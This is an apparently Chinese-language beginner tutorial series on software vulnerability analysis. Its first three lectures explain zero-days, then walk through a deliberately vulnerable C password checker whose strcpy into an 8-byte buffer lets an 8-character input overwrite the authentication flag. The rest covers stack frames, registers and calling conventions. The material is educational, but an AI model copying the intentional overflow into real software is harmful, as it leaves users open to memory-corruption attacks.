软件漏洞分析入门
1 引子
To be the apostrophe which changed “Impossible” into “I’m possible”
—— failwest
涼風有訊,秋月無邊。
您是否夢想過能夠像電影上演的那樣黑進任意一臺機器遠程操控?您的夢想是否曾經(jīng)被書店里邊滿架子的反黑,防毒,擒木馬的掃盲書強暴的體無完膚?
從今天開始,準備陸續(xù)發(fā)一系列關于軟件漏洞方面基礎知識的帖子,包括軟件漏洞的研究價值,研究方法,堆棧利用的基礎知識,shellcode的調(diào)試方法,漏洞調(diào)試方法,漏洞分析,漏洞挖掘,軟件安全性測試等等,此外還將介紹一些metasploit架構和fuzz測試方面的入門知識。
軟件漏洞分析,利用,發(fā)掘是當今安全技術界中流砥柱級別話題,如果您關注過black hat或者defcon之類的頂級安全技術峰會的話,就知道我不是在吹牛了??上У氖沁@方面的中文資料很少,偶爾有一篇比較優(yōu)秀的文章但又不夠系統(tǒng),目前為止也沒有形成像破解技術這樣的討論風氣,菜鳥們在黑燈瞎火的夜晚瞎折騰,沒有交流和指導,興趣就像被拔了氣彌兒芯的車胎,很快就泄氣了。
雖然漏洞分析與利用與破解在技術上各有側(cè)重點,但逆向基礎是共同的。以我個人的經(jīng)驗,能做crack的朋友只要稍加進修就能入門。就算沒有任何匯編基礎和逆向經(jīng)驗的朋友也不用擔心,因為這個系列的文章將完全面向菜鳥,只要會C語言,跟著文章用ollydbg調(diào)試幾次連猜帶蒙的也應該能夠上手。
今天我們暫時不談堆棧這些技術細節(jié),先讓我們從比較宏觀的地方著手。
如果您經(jīng)歷過沖擊波蠕蟲病毒的攻擊話,應該明白操作系統(tǒng)出現(xiàn)漏洞時的后果。
漏洞往往是病毒木馬入侵計算機的突破口。如果掌握了漏洞的技術細節(jié),能夠?qū)懗雎┒蠢?#xff08;exploit),往往可以讓目標主機執(zhí)行任意代碼。
軟件漏洞的技術細節(jié)是非常寶貴的資料,尤其是當軟件漏洞對應的官方補丁尚未發(fā)布時,只有少數(shù)攻擊者秘密的掌握漏洞及其利用方法,這時往往可以通過漏洞hack任意一臺internet上的主機!
這種未被公開的漏洞被稱作zero day (0 day)??梢园?day理解成未公開的系統(tǒng)后門。由于0day的特殊性質(zhì)和價值,使得很多研究者和攻擊者投身于漏洞挖掘的行列。一個0day漏洞的資料根據(jù)其影響程度的不同,在黑市上可以賣到從幾千元到幾十萬元不等的價錢。因此0day一旦被發(fā)現(xiàn)往往會被當作商業(yè)機密,甚至軍事機密~~~~如果把沖擊波蠕蟲的shellcode從原先的一分鐘倒計時關機改為窮兇極惡的格式化硬盤之類~~~~~那么花一百萬買這樣一個電子炸彈可比花一百萬買一枚導彈來得劃算~~~~~~試想一下某天早上起來發(fā)現(xiàn)全國的windows系統(tǒng)都被格式化,計算機系統(tǒng)完全癱瘓造成的影響和一顆導彈在城市里炸個坑造成的影響哪個更嚴重?
在今天這一講的最后,讓我們回顧一下幾個可能曾經(jīng)困惑過您的問題:
我從不運行任何來歷不明的軟件,為什么還會中病毒??
如果病毒利用重量級的系統(tǒng)漏洞進行傳播,您將在劫難逃。因為系統(tǒng)漏洞可以引起計算機被遠程控制,更何況傳播病毒。橫掃世界的沖擊波蠕蟲,slamer蠕蟲等就是這種類型的病毒。?
如果服務器軟件存在安全漏洞,或者系統(tǒng)中可以被RPC遠程調(diào)用的函數(shù)中存在緩沖區(qū)溢出漏洞,攻擊者也可以發(fā)起“主動”進攻。在這種情況下,您的計算機會輕易淪為所謂的“肉雞”。
我只是點擊了一個URL鏈接,并沒有執(zhí)行任何其他操作,為什么會中木馬??
如果您的瀏覽器在解析HTML文件時存在緩沖區(qū)溢出漏洞,那么攻擊者就可以精心構造一個承載著惡意代碼的HTML文件,并把其鏈接發(fā)給您。當您點擊這種鏈接時,漏洞被觸發(fā)從而導致HTML中所承載的惡意代碼(shellcod)被執(zhí)行。這段代碼通常是在沒有任何提示的情況下去指定的地方下載木馬客戶端并運行。
此外,第三方軟件所加載的ActiveX控件中的漏洞也是被“網(wǎng)馬”所經(jīng)常利用的對象。所以千萬不要忽視URL鏈接。
Word文檔、Power Point文檔、Excel表格文檔并非可執(zhí)行文件,他們會導致惡意代碼的執(zhí)行嗎?
和html文件一樣,這類文檔本身雖然是數(shù)據(jù)文件,但是如果Office軟件在解析這些數(shù)據(jù)文件的特定數(shù)據(jù)結構時存在緩沖區(qū)溢出漏洞的話,攻擊者就可以通過一個精心構造的word文檔來觸發(fā)并利用漏洞。當您在用office軟件打開這個word文檔的時候,一段惡意代碼可能已經(jīng)悄無聲息的被執(zhí)行過了。
好,第一講暫時結束,如果您有興趣,不妨關注一下這個系列,說不定聽完幾講之后會深深的愛上這個門技術。
順便預告一下本系列講座的內(nèi)容:
2_漏洞利用,分析,挖掘概述
3_初級棧溢出A
4_初級棧溢出B
5_自制簡單的shellcode
6_初級棧溢出C
7_windows下shellcode的開發(fā)
在后面嘛,還沒確定下來,大概會給幾個真實的windows漏洞調(diào)試案例,給大家一起交流
?
============================================================================
2_初級棧溢出_A
To be the apostrophe which changed “Impossible” into “I’m possible”
—— failwest
今夜月明星稀
本想來點大道理申明下研究思路啥的,看到大家的熱情期待,稍微調(diào)整一下講課的順序。從今天開始,將用3~4次給大家做一下棧溢出的掃盲。
棧溢出的文章網(wǎng)上還是有不少的(其實優(yōu)秀的也就兩三篇),原理也不難,讀過基本上就能夠明白是怎么回事。本次講解將主要集中在動手調(diào)試方面,更加著重實踐。
經(jīng)過這3~4次的棧溢出掃盲,我們的目標是:
領會棧溢出攻擊的基本原理
能夠動手調(diào)試簡易的棧溢出漏洞程序,并能夠利用漏洞執(zhí)行任意代碼(最簡易的shellcode)
最主要的目的其實是激發(fā)大家的學習興趣——寡人求學若干年,深知沒有興趣是決計沒有辦法學出名堂來的。
本節(jié)課的基本功要求是:會C語言就行(大概能編水仙花數(shù)的水平)
我會盡量用最最傻瓜的文字來闡述這些內(nèi)存中的二進制概念。為了避免一開始涉及太多枯燥的基礎知識讓您失去了興趣,我并不提倡從匯編和寄存器開始,也不想用函數(shù)和棧開頭。我準備用一個自己設計的小例子開始講解,之后我會以這個例子為基礎,逐步加碼,讓它變得越來越像真實的漏洞攻擊。
您需要的就是每天晚上看一篇帖子,然后用十分鐘時間照貓畫虎的在編譯器里把例子跟著走一遍,堅持一個星期之后您就會發(fā)現(xiàn)世界真奇妙了。
不懂匯編不是拒絕這門迷人技術的理由——今天的課程就不涉及匯編——并且以后遇到會隨時講解滴
所以如果你懂C語言的話,不許不學,不許說學不會,也不許說難,哈哈
開場白多說了幾句,下面是正題。今天我們來一起研究一段暴簡單無比的C語言小程序,看看編程中如果不小心出現(xiàn)數(shù)組越界將會出現(xiàn)哪些問題,直到這個單元結束您能夠用這些數(shù)組越界漏洞控制遠程主機。
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
? ? ? ? int authenticated;
? ? ? ? char buffer[8];??// add local buff to be overflowed
? ? ? ? authenticated=strcmp(password,PASSWORD);
? ? ? ? strcpy(buffer,password);??//over flowed here!? ? ? ??
? ? ? ? return authenticated;
}
main()
{
? ? ? ? int valid_flag=0;
? ? ? ? char password[1024];
? ? ? ? while(1)
? ? ? ? {
? ? ? ? ? ? ? ? printf("please input password:? ?? ? ");
? ? ? ? ? ? ? ? scanf("%s",password);
? ? ? ? ? ? ? ? valid_flag = verify_password(password);
? ? ? ? ? ? ? ? if(valid_flag)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? printf("incorrect password!\n\n");
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? else
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? printf("Congratulation! You have passed the verification!\n");
? ? ? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? ? ? }
? ? ? ? }
}
對于這幾行亂簡單無比的程序,我還是稍作解釋。
程序運行后將提示輸入密碼
用戶輸入的密碼將被程序與宏定義中的“1234567”比較
密碼錯誤,提示驗證錯誤,并提示用戶重新輸入
密碼正確,提示正確,程序退出(真夠傻瓜的語言)
所謂的漏洞在于verify_password()函數(shù)中的strcpy(buffer,password)調(diào)用。
由于程序?qū)延脩糨斎氲淖址獠粍拥膹椭频絭erify_password函數(shù)的局部數(shù)組char buffer[8]中,但用戶的字符串可能大于8個字符。當用戶輸入大于8個字符的緩沖區(qū)尺寸時,緩沖區(qū)就會被撐暴——即所謂的緩沖區(qū)溢出漏洞。
緩沖區(qū)給撐暴了又怎么樣?大不了程序崩潰么,有什么了不起!
此話不然,如果只是導致程序崩潰就不用我在這里浪費大家時間了。根據(jù)緩沖區(qū)溢出發(fā)生的具體情況,巧妙的填充緩沖區(qū)不但可以避免崩潰,還能影響到程序的執(zhí)行流程,甚至讓程序去執(zhí)行緩沖區(qū)里的代碼。
今天我們先玩一個最簡單的。函數(shù)verify_password()里邊申請了兩個局部變量
int authenticated;
char buffer[8];?
當verify_password被調(diào)用時,系統(tǒng)會給它分配一片連續(xù)的內(nèi)存空間,這兩個變量就分布在那里(實際上就叫函數(shù)棧幀,我們后面會詳細講解),如下圖
?
變量和變量緊緊的挨著。為什么緊挨著?當然不是他倆關系好,省空間啊,好傻瓜的問題,笑:)
用戶輸入的字符串將拷貝進buffer[8],從示意圖中可以看到,如果我們輸入的字符超過7個(注意有串截斷符也算一個),那么超出的部分將破壞掉與它緊鄰著的authenticated變量的內(nèi)容!
在復習一下程序,authenticated變量實際上是一個標志變量,其值將決定著程序進入錯誤重輸?shù)牧鞒?#xff08;非0)還是密碼正確的流程(0)。
下面是比較有趣的部分:
當密碼不是宏定義的1234567時,字符串比較將返回1或-1(這里只討論1,結尾的時候會談下-1的情況)
由于intel是所謂的大頂機,其實就是內(nèi)存中的數(shù)據(jù)按照4字節(jié)(DWORD)逆序存儲,所以authenticated為1時,內(nèi)存中存的是0x01000000
如果我們輸入包含8個字符的錯誤密碼,如“qqqqqqqq”,那么字符串截斷符0x00將寫入authenticated變量
這溢出數(shù)組的一個字節(jié)0x00將恰好把逆序存放的authenticated變量改為0x00000000。
函數(shù)返回,main函數(shù)中一看authenticated是0,就會歡天喜地的告訴你,oh yeah 密碼正確!這樣,我們就用錯誤的密碼得到了正確密碼的運行效果
下面用5分鐘實驗一下這里的分析吧。將代碼用VC6.0編譯鏈接,生成可執(zhí)行文件。注意,是VC6.0或者更早的編譯器,不是7.0,不是8.0,不是.net,不是VS2003,不是VS2005。為什么,其實不是高級的編譯器不能搞,是比較難搞,它們有特殊的GS編譯選項,為了不給咱們掃盲班增加負擔,所以暫時飄過,用6.0!
? ? ? ? 按照程序的設計思路,只有輸入了正確的密碼”1234567”之后才能通過驗證。程序運行情況如下:
? ? ? ??
? ? ? ? ? ? ? ??
? ? ? ? 要是輸入幾十個字符的長串,應該會崩潰。多少個字符會崩潰?為什么?賣個關子,下節(jié)課慢慢講。現(xiàn)在來個8個字符的密碼試下:?
注意為什么01234567不行?因為字符串大小的比較是按字典序來的,所以這個串小于“1234567”,authenticated的值是-1,在內(nèi)存里將按照補碼存負數(shù),所以實際村的不是0x01000000而是0xffffffff。那么字符串截斷后符0x00淹沒后,變成0x00ffffff,還是非0,所以沒有進入正確分支。
總結一下,由于編程的粗心,有可能造成程序中出現(xiàn)緩沖區(qū)溢出的缺陷。
這種缺陷大多數(shù)情況下會導致崩潰,但是結合內(nèi)存中的具體情況,如果精心構造緩沖區(qū)的話,是有可能讓程序作出設計人員根本意向不到的事情的
本節(jié)只是用一個字節(jié)淹沒了鄰接變量,導致了程序進入密碼正確的處理流程,使設計的驗證功能失效。
其實作為cracker,大家可能會說這有什么難的,我可以說出一堆方法做到這一點:
直接查看PE,找出宏定義中的密碼值,得到正確密碼
反匯編PE,找到爆破點,JZ JNZ的或者TEST EAX,EAX變XOR EAX,EAX的在分支處改它一個字節(jié)
……
但是今天介紹的這種方法與crack的方法有一個非常重要的區(qū)別,非常非常重要~~
就是~~~我們是在程序允許的情況下,用合法的輸入數(shù)據(jù)(對于程序來說)得到了非法的執(zhí)行效果(對于程序員來說)——這是hack與crack之間的一個重要區(qū)別,因為大多數(shù)情況下hack是沒有辦法直接修改PE的,他們只能通過影響輸入來影響程序的流程,這將使hack受到很多限制,從某種程度上講也更加困難。這個區(qū)別將在后面幾講中得到深化,并被我不斷強調(diào)。
好了,今天的掃盲課程暫時結束,作為棧溢出的開場白,希望這個自制的漏洞程序能夠給您帶來一點點幫助。
?
============================================================================
第3講??初級棧溢出B
To be the apostrophe which changed “Impossible” into “I’m possible”
—— failwest
小荷才露尖尖角
掃盲班第三講開課啦!
上節(jié)課我們用越過數(shù)組邊界的一個字節(jié)把鄰接的標志變量修改成0,從而突破了密碼驗證程序。您實驗成功了嗎?沒有的話回去做完實驗在來聽今天的課!
有幾個同學反映編譯器的問題,我還是建議用VC6.0,因為它build出來的PE最適合初學者領會概念。而且這門課動手很重要,基本上我的實驗指導都是按VC6.0來寫的,用別的build出來要是有點出入,實驗不成功的話會損失學習積極性滴——實驗獲得的成就感是學習最好的動力。
另外在回帖中已經(jīng)看到不少同學問了一些不錯的問題:
如果變量之間沒有相鄰怎么辦?
如果有一個編譯器楞要把authenticated變量放在buffer[8]數(shù)組前邊咋辦?
今天的課程將部分回答這些問題。
今天基本沒有程序和調(diào)試(下一講將重新回歸實踐),主要是一些理論知識的補充。聽課的對象是只用C語言編過水仙花數(shù)的同學。如果你不是這樣的同學,可以飄過本講,否則你會說我羅嗦滴像唐僧~~~~我的目標就是一定要讓你弄明白,不管多羅嗦,多俗氣,多傻瓜的方法,呵呵
找工作滴同學也可以看看這部分,很可能會對面試有幫助呦。根據(jù)我個人無數(shù)次的面試經(jīng)驗,會有很多考官饒有興趣的問你學校課本上從來不講的東東,比如堆和棧的區(qū)別,什么樣的變量在棧里,函數(shù)調(diào)用是怎么實現(xiàn)的,參數(shù)入棧順序,函數(shù)調(diào)用時參數(shù)的值傳遞、地址傳遞的原理之類。學完本節(jié)內(nèi)容,您將對高級語言的執(zhí)行原理有一個比較深入的認識。
此外,這節(jié)課會對后面將反復用到的一些寄存器,指令進行掃盲。不要怕,就幾個,保管你能弄懂。
最后,上次提意見說圖少的同學注意了,這節(jié)課的配套圖示那叫一個多啊。
所以還是那句話,不許不學,不許學不會,不許說難,呵呵
我們開始吧!
? ? ? ? 根據(jù)不同的操作系統(tǒng),一個進程可能被分配到不同的內(nèi)存區(qū)域去執(zhí)行。但是不管什么樣的操作系統(tǒng)、什么樣的計算機架構,進程使用的內(nèi)存都可以按照功能大致分成以下四個部分:
代碼區(qū):這個區(qū)域存儲著被裝入執(zhí)行的二進制機器代碼,處理器會到這個區(qū)域來取指并執(zhí)行。
數(shù)據(jù)區(qū):用于存儲全局變量等。
堆區(qū):進程可以在堆區(qū)動態(tài)的請求一定大小的內(nèi)存,并在用完之后歸還給堆區(qū)。動態(tài)分配和回收是堆區(qū)的特點
棧區(qū):用于動態(tài)的存儲函數(shù)之間的調(diào)用關系,以保證被調(diào)用函數(shù)在返回時恢復到母函數(shù)中繼續(xù)執(zhí)行
? ???注意:這種簡單的內(nèi)存劃分方式是為了讓您能夠更容易地理解程序的運行機制?!渡钊肜斫庥嬎銠C系統(tǒng)》一書中有更詳細的關于內(nèi)存使用的論述,如果您對這部分知識有興趣,可以參考之?
? ? ? ? 在windows平臺下,高級語言寫出的程序經(jīng)過編譯鏈接,最終會變成各位同學最熟悉不過的PE文件。當PE文件被裝載運行后,就成了所謂的進程。
圖1
? ?? ?? ?? ?? ?? ?? ??
? ? ? ? 如果把計算機看成一個有條不紊的工廠的話,那么可以簡單的看成是這樣組織起來的:
CPU是完成工作的工人;
數(shù)據(jù)區(qū),堆區(qū),棧區(qū)等則是用來存放原料,半成品,成品等各種東西的場所;
存在代碼區(qū)的指令則告訴CPU要做什么,怎么做,到哪里去領原材料,用什么工具來做,做完以后把成品放到哪個貨艙去;
值得一提的是,棧除了扮演存放原料,半成品的倉庫之外,它還是車間調(diào)度主任的辦公室。
? ? ? ??
? ? ? ? 程序中所使用的緩沖區(qū)可以是堆區(qū)、棧區(qū)、甚至存放靜態(tài)變量的數(shù)據(jù)區(qū)。緩沖區(qū)溢出的利用方法和緩沖區(qū)到底屬于上面哪個內(nèi)存區(qū)域密不可分,本講座主要介紹在系統(tǒng)棧中發(fā)生溢出的情形。堆中的溢出稍微復雜點,我會考慮在中級班中給予介紹
? ? ? ? 以下內(nèi)容針對正常情況下的大學本科二年級計算機水平或者計算機二級水平的讀者,明白棧的飄過即可。
? ? ? ? 從計算機科學的角度來看,棧指的是一種數(shù)據(jù)結構,是一種先進后出的數(shù)據(jù)表。棧的最常見操作有兩種:壓棧(PUSH),彈棧(POP);用于標識棧的屬性也有兩個:棧頂(TOP),棧底(BASE)
? ? ? ? 可以把棧想象成一摞撲克牌:
? ? ? ? PUSH:為棧增加一個元素的操作叫做PUSH,相當于給這摞撲克牌的最上面再放上一張;
? ? ? ? POP:從棧中取出一個元素的操作叫做POP,相當于從這摞撲克牌取出最上面的一張;
? ? ? ? TOP:標識棧頂位置,并且是動態(tài)變化的。每做一次PUSH操作,它都會自增1;相反每做一次POP操作,它會自減1。棧頂元素相當于撲克牌最上面一張,只有這張牌的花色是當前可以看到的。
? ? ? ? BASE:標識棧底位置,它記錄著撲克牌最下面一張的位置。BASE用于防止??蘸罄^續(xù)彈棧,(牌發(fā)完時就不能再去揭牌了)。很明顯,一般情況下BASE是不會變動的。
? ? ? ? 內(nèi)存的棧區(qū)實際上指的就是系統(tǒng)棧。系統(tǒng)棧由系統(tǒng)自動維護,它用于實現(xiàn)高級語言中函數(shù)的調(diào)用。對于類似C語言這樣的高級語言,系統(tǒng)棧的PUSH,POP等堆棧平衡細節(jié)是透明的。一般說來,只有在使用匯編語言開發(fā)程序的時候,才需要和它直接打交道。
? ? ? ? 注意:系統(tǒng)棧在其他文獻中可能曾被叫做運行棧,調(diào)用棧等。如果不加特別說明,我們這里說的棧都是指系統(tǒng)棧這個概念,請您注意與求解“八皇后”問題時在自己在程序中實現(xiàn)的數(shù)據(jù)結構區(qū)分開來。
? ? ? ? 我們下面就來探究一下高級語言中函數(shù)的調(diào)用和遞歸等性質(zhì)是怎樣通過系統(tǒng)棧巧妙實現(xiàn)的。請看如下代碼:
int? ? ? ? func_B(int arg_B1, int arg_B2)
{
? ? ? ? int var_B1, var_B2;
? ? ? ? var_B1=arg_B1+arg_B2;
? ? ? ? var_B2=arg_B1-arg_B2;
? ? ? ? return var_B1*var_B2;
}
int? ? ? ? func_A(int arg_A1, int arg_A2)
{
? ? ? ? int var_A;
? ? ? ? var_A = func_B(arg_A1,arg_A2) + arg_A1 ;
? ? ? ? return var_A;
}
int main(int argc, char **argv, char **envp)
{
? ? ? ? int var_main;
? ? ? ? var_main=func_A(4,3);
? ? ? ? return var_main;
}
? ? ? ? 這段代碼經(jīng)過編譯器編譯后,各個函數(shù)對應的機器指令在代碼區(qū)中可能是這樣分布的:
?
圖2
? ? ? ? 根據(jù)操作系統(tǒng)的不同、編譯器和編譯選項的不同,同一文件不同函數(shù)的代碼在內(nèi)存代碼區(qū)中的分布可能相鄰也可能相離甚遠;可能先后有序也可能無序;但他們都在同一個PE文件的代碼所映射的一個“區(qū)”里。這里可以簡單的把它們在內(nèi)存代碼區(qū)中的分布位置理解成是散亂無關的。
? ? ? ? 當CPU在執(zhí)行調(diào)用func_A函數(shù)的時候,會從代碼區(qū)中main函數(shù)對應的機器指令的區(qū)域跳轉(zhuǎn)到func_A函數(shù)對應的機器指令區(qū)域,在那里取指并執(zhí)行;當func_A函數(shù)執(zhí)行完閉,需要返回的時候,又會跳回到main函數(shù)對應的指令區(qū)域,緊接著調(diào)用func_A后面的指令繼續(xù)執(zhí)行main函數(shù)的代碼。在這個過程中,CPU的取指軌跡如下圖所示:
? ? ? ??
圖3
? ? ? ? 那么CPU是怎么知道要去func_A的代碼區(qū)取指,在執(zhí)行完func_A后又是怎么知道跳回到main函數(shù)(而不是func_B的代碼區(qū))的呢?這些跳轉(zhuǎn)地址我們在C語言中并沒有直接說明,CPU是從哪里獲得這些函數(shù)的調(diào)用及返回的信息的呢?
? ? ? ? 原來,這些代碼區(qū)中精確的跳轉(zhuǎn)都是在與系統(tǒng)棧巧妙地配合過程中完成的。當函數(shù)被調(diào)用時,系統(tǒng)棧會為這個函數(shù)開辟一個新的棧幀,并把它壓入棧中。這個棧幀中的內(nèi)存空間被它所屬的函數(shù)獨占,正常情況下是不會和別的函數(shù)共享的。當函數(shù)返回時,系統(tǒng)棧會彈出該函數(shù)所對應的棧幀。
圖4
? ? ? ??
? ? ? ? 如圖所示,在函數(shù)調(diào)用的過程中,伴隨的系統(tǒng)棧中的操作如下:
? ? ? ? 在main函數(shù)調(diào)用func_A的時候,首先在自己的棧幀中壓入函數(shù)返回地址,然后為func_A創(chuàng)建新棧幀并壓入系統(tǒng)棧
? ? ? ? 在func_A調(diào)用func_B的時候,同樣先在自己的棧幀中壓入函數(shù)返回地址,然后為func_B創(chuàng)建新棧幀并壓入系統(tǒng)棧
? ? ? ? 在func_B返回時,func_B的棧幀被彈出系統(tǒng)棧,func_A棧幀中的返回地址被“露”在棧頂,此時處理器按照這個返回地址重新跳到func_A代碼區(qū)中執(zhí)行
? ? ? ? 在func_A返回時,func_A的棧幀被彈出系統(tǒng)棧,main函數(shù)棧幀中的返回地址被“露”在棧頂,此時處理器按照這個返回地址跳到main函數(shù)代碼區(qū)中執(zhí)行
? ? ? ? 注意:在實際運行中,main函數(shù)并不是第一個被調(diào)用的函數(shù),程序被裝入內(nèi)存前還有一些其他操作,上圖只是棧在函數(shù)調(diào)用過程中所起作用的示意圖
? ? ? ? 每一個函數(shù)獨占自己的棧幀空間。當前正在運行的函數(shù)的棧幀總是在棧頂。WIN32系統(tǒng)提供兩個特殊的寄存器用于標識位于系統(tǒng)棧棧頂?shù)臈?#xff1a;
? ? ? ? ESP:棧指針寄存器(extended stack pointer),其內(nèi)存放著一個指針,該指針永遠指向系統(tǒng)棧最上面一個棧幀的棧頂
? ? ? ? EBP:基址指針寄存器(extended base pointer),其內(nèi)存放著一個指針,該指針永遠指向系統(tǒng)棧最上面一個棧幀的底部
? ? ? ? 寄存器對棧幀的標識作用如下圖所示:
?
圖5
? ? ? ? 函數(shù)棧幀:ESP和EBP之間的內(nèi)存空間為當前棧幀,EBP標識了當前棧幀的底部,ESP標識了當前棧幀的頂部。
? ? ? ??
? ? ? ? 在函數(shù)棧幀中一般包含以下幾類重要信息:
? ? ? ? 局部變量:為函數(shù)局部變量開辟內(nèi)存空間。
? ? ? ? 棧幀狀態(tài)值:保存前棧幀的頂部和底部(實際上只保存前棧幀的底部,前棧幀的頂部可以通過堆棧平衡計算得到),用于在本幀被彈出后,恢復出上一個棧幀。
? ? ? ? 函數(shù)返回地址:保存當前函數(shù)調(diào)用前的“斷點”信息,也就是函數(shù)調(diào)用前的指令位置,以便函數(shù)返回時能夠恢復到函數(shù)被調(diào)用前的代碼區(qū)中繼續(xù)執(zhí)行指令。
? ? ? ? 注意:函數(shù)棧幀的大小并不固定,一般與其對應函數(shù)的局部變量多少有關。在以后幾講的調(diào)試實驗中您會發(fā)現(xiàn),函數(shù)運行過程中,其棧幀大小也是在不停變化的。
? ? ? ? 除了與棧相關的寄存器外,您還需要記住另一個至關重要的寄存器:
? ? ? ? EIP:指令寄存器(extended instruction pointer), 其內(nèi)存放著一個指針,該指針永遠指向下一條待執(zhí)行的指令地址
?
圖6
? ? ? ? 可以說如果控制了EIP寄存器的內(nèi)容,就控制了進程——我們讓EIP指向哪里,CPU就會去執(zhí)行哪里的指令。下面的講座我們就會逐步介紹如何控制EIP,劫持進程的原理及實驗。
函數(shù)調(diào)用約定與相關指令
? ? ? ??
函數(shù)調(diào)用約定描述了函數(shù)傳遞參數(shù)方式和棧協(xié)同工作的技術細節(jié)。不同的操作系統(tǒng)、不同的語言、不同的編譯器在實現(xiàn)函數(shù)調(diào)用時的原理雖然基本類同,但具體的調(diào)用約定還是有差別的。這包括參數(shù)傳遞方式,參數(shù)入棧順序是從右向左還是從左向右,函數(shù)返回時恢復堆棧平衡的操作在子函數(shù)中進行還是在母函數(shù)中進行。下面列出了幾種調(diào)用方式之間的差異。
? ? ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???C? ? ? ?? ?? ?? ?SysCall? ? ? ? StdCall? ? ? ? BASIC? ? ? ? FORTRAN? ? ? ? PASCAL
參數(shù)入棧順序? ? ? ?? ?? ?? ?? ?? ???右->左? ? ? ? 右->左? ? ? ? 右->左? ? ? ? 左->右? ? ? ? 左->右? ? ? ? 左->右
恢復棧平衡操作的位置? ? ? ? 母函數(shù)? ? ? ? 子函數(shù)? ? ? ? 子函數(shù)? ? ? ? 子函數(shù)? ? ? ? 子函數(shù)? ? ? ? 子函數(shù)
? ? ? ? 具體的,對于Visual C++來說可支持以下三種函數(shù)調(diào)用約定
調(diào)用約定的聲明? ? ? ? 參數(shù)入棧順序? ? ? ? 恢復棧平衡的位置
__cdecl? ? ? ? 右->左? ? ? ? 母函數(shù)
__fastcall? ? ? ? 右->左? ? ? ? 子函數(shù)
__stdcall? ? ? ? 右->左? ? ? ? 子函數(shù)
? ? ? ? 要明確使用某一種調(diào)用約定的話只需要在函數(shù)前加上調(diào)用約定的聲明就行,否則默認情況下VC會使用__stdcall的調(diào)用方式。本篇中所討論的技術,在不加額外說明的情況下,都是指這種默認的__stdcall調(diào)用方式。
? ? ? ? 除了上邊的參數(shù)入棧方向和恢復棧平衡操作位置的不同之外,參數(shù)傳遞有時也會有所不同。例如每一個C++類成員函數(shù)都有一個this指針,在windows平臺中這個指針一般是用ECX寄存器來傳遞的,但如果用GCC編譯器編譯的話,這個指針會做為最后一個參數(shù)壓入棧中。
? ? ? ? 同一段代碼用不同的編譯選項、不同的編譯器編譯鏈接后,得到的可執(zhí)行文件會有很多不同。
? ? ? ? 函數(shù)調(diào)用大致包括以下幾個步驟:
? ? ? ? 參數(shù)入棧:將參數(shù)從右向左依次壓入系統(tǒng)棧中
? ? ? ? 返回地址入棧:將當前代碼區(qū)調(diào)用指令的下一條指令地址壓入棧中,供函數(shù)返回時繼續(xù)執(zhí)行
? ? ? ? 代碼區(qū)跳轉(zhuǎn):處理器從當前代碼區(qū)跳轉(zhuǎn)到被調(diào)用函數(shù)的入口處
? ? ? ? 棧幀調(diào)整:具體包括
? ? ? ? 保存當前棧幀狀態(tài)值,已備后面恢復本棧幀時使用(EBP入棧)
? ? ? ? 將當前棧幀切換到新棧幀。(將ESP值裝入EBP,更新棧幀底部)
? ? ? ? 給新棧幀分配空間。(把ESP減去所需空間的大小,抬高棧頂)
? ? ? ??
? ? ? ? 對于__stdcall調(diào)用約定,函數(shù)調(diào)用時用到的指令序列大致如下:
? ? ? ? ;調(diào)用前
push 參數(shù)3? ? ? ? ? ? ? ? ; 假設該函數(shù)有3個參數(shù),將從右向左依次入棧
push 參數(shù)2? ? ? ? ? ? ? ??
push 參數(shù)1? ? ? ? ? ? ? ??
call 函數(shù)地址? ? ? ? ; call指令將同時完成兩項工作:a)向棧中壓入當前指令在內(nèi)存中的位置,? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ; 即保存返回地址;b)跳轉(zhuǎn)到所調(diào)用函數(shù)的入口地址
? ? ? ? ;函數(shù)入口處
push ebp? ? ? ? ? ? ? ? ? ? ? ? ; 保存舊棧幀的底部
mov ebp,esp? ? ? ? ? ? ? ? ; 設置新棧幀的底部(棧幀切換)
sub esp,xxx? ? ? ? ? ? ? ? ; 設置新棧幀的頂部(抬高棧頂,為新棧幀開辟空間)
上面這段用于函數(shù)調(diào)用的指令在棧中引起的變化如下圖所示:
??
注意:關于棧幀的劃分不同參考書中有不同的約定。有的參考文獻中把返回地址和前棧幀EBP值做為一個棧幀的頂部元素,而有的則將其做為棧幀的底部進行劃分。在后面的調(diào)試中,您會發(fā)現(xiàn)OllyDbg在棧區(qū)標示出的棧幀是按照前棧幀EBP值進行分界的,也就是說前棧幀EBP值即屬于上一個棧幀,也屬于下一個棧幀,這樣劃分棧幀后返回地址就成為了棧幀頂部的數(shù)據(jù)。我們這里將堅持按照EBP與ESP之間的位置做為一個棧幀的原則進行劃分。這樣劃分出的棧幀如上面最后一幅圖所示,棧幀的底部存放著前棧幀EBP,棧幀的頂部存放著返回地址。劃分棧幀只是為了更清晰的了解系統(tǒng)棧的運作過程,并不會影響它實際的工作。
? ? ? ? 類似的,函數(shù)返回的步驟如下:
? ? ? ? 保存返回值:通常將函數(shù)的返回值保存在寄存器EAX中
? ? ? ? 彈出當前棧幀,恢復上一個棧幀:
? ? ? ? 具體包括
? ? ? ? 在堆棧平衡的基礎上,給ESP加上棧幀的大小,降低棧頂,回收當前棧幀的空間
? ? ? ? 將當前棧幀底部保存的前棧幀EBP值彈入EBP寄存器,恢復出上一個棧幀
? ? ? ? 將函數(shù)返回地址彈給EIP寄存器
? ? ? ? 跳轉(zhuǎn):按照函數(shù)返回地址跳回母函數(shù)中繼續(xù)執(zhí)行
? ? ? ? 還是以C語言和WIN32平臺為例,函數(shù)返回時的相關的指令序列如下:? ? ? ??
? ? ? ??
add xxx, esp? ? ? ? ;降低棧頂,回收當前的棧幀
pop ebp? ? ? ? ? ? ? ? ;將上一個棧幀底部位置恢復到ebp,
retn? ? ? ? ? ? ? ? ? ? ? ? ;這條指令有兩個功能:a)彈出當前棧頂元素,即彈出棧幀中的返回地址。至此? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ;棧幀恢復工作完成。b)讓處理器跳轉(zhuǎn)到彈出的返回地址,恢復調(diào)用前的代碼區(qū)
? ? ? ? 按照這樣的函數(shù)調(diào)用約定組織起來的系統(tǒng)棧結構如下:
